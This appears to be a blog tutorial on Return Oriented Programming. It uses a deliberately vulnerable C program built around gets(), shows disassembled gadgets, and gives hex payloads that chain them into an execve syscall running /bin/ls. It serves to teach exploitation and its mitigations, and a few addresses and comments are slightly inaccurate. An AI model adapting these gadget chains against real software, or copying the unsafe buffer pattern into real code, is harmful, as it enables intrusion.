In a previous post, I described how to inject code to execute syscall by overwriting the stack.
To summarize the previous post –
- Use a bug in the code to overwrite the return address stored on stack. This is mitigated by Stack Smashing Protector where compiler adds additional code to check the integrity of stack.
- Store the exploit (code + data) on stack and then point the return address to the starting of the exploit code. When the program executes the
RETinstruction it will execute the exploit code instead of returning to the calling function. To mitigate this- Enable ASLR which randomizes stack and other locations on every run so that we can not determine the starting address of our exploit code stored on the stack.
- Enable Non-Executable Stack, so that trying to execute code stored on stack will result in a Segmentation Fault.
ROP (Return Oriented Programming) is a technique which can bypass the Non-Executable Stack to execute arbitrary code.
We still need the ability to overwrite the stack (it can not bypass Stack Smashing Protection). ROP cannot bypass ASLR because we need addresses of code section of the target program.
Target Program
I will be using the following target program. I will execute this target program with Non-Executable Stack enabled to demonstrate ROP.
read_from_inputcalls thegetsfunction, which allows for stack over-writing.function1()is a defined function with some code in it.
void function1() {
char *addr;
addr = (char *)0x2fc35f2d;
}
void read_from_input() {
char buf[16];
gets(buf);
}
int main() {
read_from_input();
printf("No Exploit\n");
return 0;
}
Executing a single instruction using ROP
Since, the program stack is marked Non-Executable. I can not store the exploit code on stack, instead I will use the already defined functions in the program code.
The disassembled code for the function1 & read_from_input is given below. At the address 0x1171 there is a movq instruction that stores some constant value onto stack.
0000000000001169 <function1>:
1169: f3 0f 1e fa endbr64
116d: 55 push %rbp
116e: 48 89 e5 mov %rsp,%rbp
1171: 48 c7 45 f8 2d 5f c3 movq $0x2fc35f2d,-0x8(%rbp)
1178: 2f
1179: 90 nop
117a: 5d pop %rbp
117b: c3 ret
000000000000117c <read_from_input>:
117c: f3 0f 1e fa endbr64
1180: 55 push %rbp
1181: 48 89 e5 mov %rsp,%rbp
1184: 48 83 ec 10 sub $0x10,%rsp
1188: 48 8d 45 f0 lea -0x10(%rbp),%rax
118c: 48 89 c7 mov %rax,%rdi
118f: e8 dc fe ff ff call 1070 <gets@plt>
1194: 90 nop
1195: c9 leave
1196: c3 ret
The last two bytes of this instruction 5f c3 (stored at 0x1176) are also the machine code for two x86 instruction.
5f - popq %rdi
c3 - ret
In Return Oriented Programming, the injected code is constructed by chaining together pieces of target program’s code. Such sequences of instructions are called gadgets in ROP terminology, each gadget performs a specific task and the last instruction is always c3 (ret instruction) giving the technique it’s name.
The instruction sequence 5f c3, 5f pops value from stack, stores it in %rdi and c3 pops value from stack, treats it as an memory address and executes the instruction stored at that address.
Let’s see a ROP exploit which executes this instruction sequence or in ROP terminology executes a single gadget.
Out exploit input data will look like this
2f 62 69 6e 2f 6c 73 00 /* 8 Byte Buffer */
00 00 00 00 00 00 00 00 /* 8 Byte Buffer */
00 00 00 00 00 00 00 00 /* 8 byte frame pointer */
76 51 55 55 55 55 00 00 /* addr of gadget */
dd dd dd dd 00 00 00 00 /* 8 Byte Value,gets popped and stored in %rdi*/
Let’s see this in action in gdb
This is just before the ret instruction at the end of read_from_input function.

- The gadget address
0x000055555555176which has replaced the original return address on the top of stack will get popped by theretinstruction and will get loaded into the %rip.

- Now the stack top is pointing to the integer value (0xdddddddd). The gadget executes the
5f(popq %rdi) instruction and loads the stack top into %rdi.

- Since, the last instruction in ROP gadget has to be
c3(ret), we can place the the address of next gadget on the stack. So that each gadget calls the next one creating a chain. - This is also why each gadget has to end with
c3and the exploit data should be arranged such that stack top contains the address of next gadget.
Executing a chain of gadgets
In large target programs with several libraries, one can find all sorts of useful instructions which can be used to create gadgets especially on x86 architecture where the instructions are variable length and do not need to be aligned.1
Automated programs are also available which can search through target binaries and generate a catalogue of ROP gadgets available for pushing & popping from stack, load and store from memory and other capabilities.
For this post, I will extend the target prgram and add more statements to function1. Very conviently for me these constants contain some bytes which are also legitimate x86 instructions.
I will use this extended target program to launch /bin/ls process by executing execv syscall.
ROP Gadget chain should do the following
- Store the location of ‘/bin/ls’ string into %rdi
- Store the NULL pointer in %rsi
- Store the NULL pointer in %rdx
- Store
0x3bin %rax (Syscall number of execv) - Call
syscallinstruction
I will organize the exploit input string in the following parts
- First 8 bytes will contain the string
/bin/ls - Next 8 bytes will be NULL to be used for %rsi and %rdi
- Next 8 bytes will be NULL for padding
- Rest will contain the ROP Gadget chain
Given below is the assembly I want to get executed by the ROP Gadget chain.
movq %rsp, %rcx // Save stack pointer into %rcx
popq %rax // Load rax with -32 from stack
movl %rcx, %rdx // Store stack value into %rdx
add %rdx, %rax // Load rdx with offset of /bin/ls
movl %rdx, %rdi // Store pointer to /bin/ls into %rdi
popq %rax // Load rax with -24 from stack
movl %rcx, %rdx // Store stack value into %rdx
add %rdx, %rax // Load rdx with offset of NULL PTR
movl %rdx, %rsi // Store pointer to NULL PTR
popq %rax // Load rax with 0x3b from stack
syscall // initiate execv
The disassembled code for the extended function1 looks like this, the different gadgets are also highlighted.
0000000000401855 <function1>:
401855: f3 0f 1e fa endbr64
401859: 55 push %rbp
40185a: 48 89 e5 mov %rsp,%rbp
40185d: 48 c7 45 f8 2d 5f c3 movq $0x2fc35f2d,-0x8(%rbp)
401864: 2f
401865: b8 00 00 58 c3 mov $0xc3580000,%eax
40186a: 48 89 45 f8 mov %rax,-0x8(%rbp)
40186e: 48 b8 48 89 e1 c3 c3 movabs $0xc3c3e18948,%rax
401875: 00 00 00
401878: 48 89 45 f8 mov %rax,-0x8(%rbp)
40187c: 48 b8 48 89 ca 90 c3 movabs $0xc390ca8948,%rax
401883: 00 00 00
401886: 48 89 45 f8 mov %rax,-0x8(%rbp)
40188a: b8 48 89 d7 c3 mov $0xc3d78948,%eax
40188f: 48 89 45 f8 mov %rax,-0x8(%rbp)
401893: b8 48 89 d6 c3 mov $0xc3d68948,%eax
401898: 48 89 45 f8 mov %rax,-0x8(%rbp)
40189c: 48 b8 ff 0f 05 ff ff movabs $0xc390050faa,%rax
4018a3: 00 00 00
4018a6: 48 89 45 f8 mov %rax,-0x8(%rbp)
4018aa: b8 58 90 90 c3 mov $0xc3909058,%eax
4018af: 48 89 45 f8 mov %rax,-0x8(%rbp)
4018b3: b8 48 01 d0 c3 mov $0xc3d00148,%eax
4018b8: 48 89 45 f8 mov %rax,-0x8(%rbp)
4018bc: 90 nop
4018bd: 5d pop %rbp
4018be: c3 ret
The ROP gadgets present in the above code are catalogued below for further clarity. There can be any number of 90 (opcode for NOP) between two instructions.
| OP Code | ASM Instruction | Address |
| 58 c3 | popq %rax ret | 0x401868 |
| 48 89 e1 c3 | movq %rsp, %rcx ret | 0x401870 |
| 48 89 ca 90 c3 | movq %rcx, %rdx nop ret | 0x40187e |
| 48 89 d7 c3 | movq %rdx, %rdi ret | 0x40188b |
| 48 89 d6 c3 | movq %rdx, %rsi | 0x401894 |
| 0f 05 | syscall | 0x40189f |
| 48 01 d0 c3 | add %rdx, %rax ret | 0x4018b4 |
Here is the exploit input string shown in hex format.
2f 62 69 6e 2f 6c 73 00 /* /bin/ls */
00 00 00 00 00 00 00 00 /* PTR for argv & env*/
00 00 00 00 00 00 00 00 /* base pointer */
70 18 40 00 00 00 00 00 /* rsp -> rcx, orignal return address */
68 18 40 00 00 00 00 00 /* pop rax */
e0 ff ff ff ff ff ff ff /* -32, offset to string '/bin/ls' */
7e 18 40 00 00 00 00 00 /* rcx -> rdx */
b4 18 40 00 00 00 00 00 /* add rdx rax */
8b 18 40 00 00 00 00 00 /* rdx -> rdi */
68 18 40 00 00 00 00 00 /* pop rax */
e8 ff ff ff ff ff ff ff /* -24, offset to PTR for argv & env */
7e 18 40 00 00 00 00 00 /* rcx -> rdx */
b4 18 40 00 00 00 00 00 /* add rdx rax */
94 18 40 00 00 00 00 00 /* rdx -> rsi */
68 18 40 00 00 00 00 00 /* pop rax */
3b 00 00 00 00 00 00 00 /* 0x3b */
9f 18 40 00 00 00 00 00 /* syscall */
Here is the above exploit input string in action.

- The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86) Hovav Shacham ↩︎